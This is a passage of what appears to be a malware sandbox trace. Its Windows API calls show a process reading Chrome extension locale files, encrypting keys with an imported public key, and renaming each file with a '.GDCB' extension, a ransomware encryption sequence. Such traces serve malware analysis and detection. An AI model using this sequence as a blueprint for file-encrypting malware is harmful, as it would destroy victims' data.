(lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.617] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.gdcb")) returned 1 [0256.622] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0256.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.629] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.629] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.629] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.629] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.634] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.634] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.634] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.635] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.637] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67901e0) returned 1 [0256.637] CryptGetKeyParam (in: hKey=0x67901e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.637] CryptEncrypt (in: hKey=0x67901e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.637] GetLastError () returned 0x0 [0256.637] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.637] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.639] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67906a0) returned 1 [0256.639] CryptGetKeyParam (in: hKey=0x67906a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.639] CryptEncrypt (in: hKey=0x67906a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.640] GetLastError () returned 0x0 [0256.640] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.640] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.641] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.644] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.646] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x117, lpOverlapped=0x0) returned 1 [0256.654] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.673] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0256.679] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.684] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.684] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.689] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.690] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.690] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.690] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.692] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790860) returned 1 [0256.692] CryptGetKeyParam (in: hKey=0x6790860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.692] CryptEncrypt (in: hKey=0x6790860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.692] GetLastError () returned 0x0 [0256.692] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.692] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.694] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790120) returned 1 [0256.694] CryptGetKeyParam (in: hKey=0x6790120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.694] CryptEncrypt (in: hKey=0x6790120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.695] GetLastError () returned 0x0 [0256.695] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.695] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.696] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.699] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.701] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xeb, lpOverlapped=0x0) returned 1 [0256.710] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.717] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0256.722] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.727] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.727] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.727] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.731] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.732] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.732] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.732] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.734] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790220) returned 1 [0256.734] CryptGetKeyParam (in: hKey=0x6790220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.734] CryptEncrypt (in: hKey=0x6790220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.735] GetLastError () returned 0x0 [0256.735] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.735] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.736] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67906e0) returned 1 [0256.736] CryptGetKeyParam (in: hKey=0x67906e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.736] CryptEncrypt (in: hKey=0x67906e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.737] GetLastError () returned 0x0 [0256.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.738] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.741] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.743] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd1, lpOverlapped=0x0) returned 1 [0256.752] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.758] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0256.764] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.769] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.771] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.771] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.771] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0256.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.776] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.776] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.776] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0256.778] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790f60) returned 1 [0256.778] CryptGetKeyParam (in: hKey=0x6790f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.778] CryptEncrypt (in: hKey=0x6790f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.779] GetLastError () returned 0x0 [0256.779] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.779] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.781] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790ce0) returned 1 [0256.781] CryptGetKeyParam (in: hKey=0x6790ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.781] CryptEncrypt (in: hKey=0x6790ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.781] GetLastError () returned 0x0 [0256.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.781] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.782] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.785] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.787] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0256.796] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.802] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0256.808] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.811] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.813] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.813] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.818] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.818] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0256.820] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790b60) returned 1 [0256.820] CryptGetKeyParam (in: hKey=0x6790b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.820] CryptEncrypt (in: hKey=0x6790b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.820] GetLastError () returned 0x0 [0256.820] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.820] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.822] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790920) returned 1 [0256.822] CryptGetKeyParam (in: hKey=0x6790920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.822] CryptEncrypt (in: hKey=0x6790920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.822] GetLastError () returned 0x0 [0256.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.822] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.823] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.826] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.829] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0256.838] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.845] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 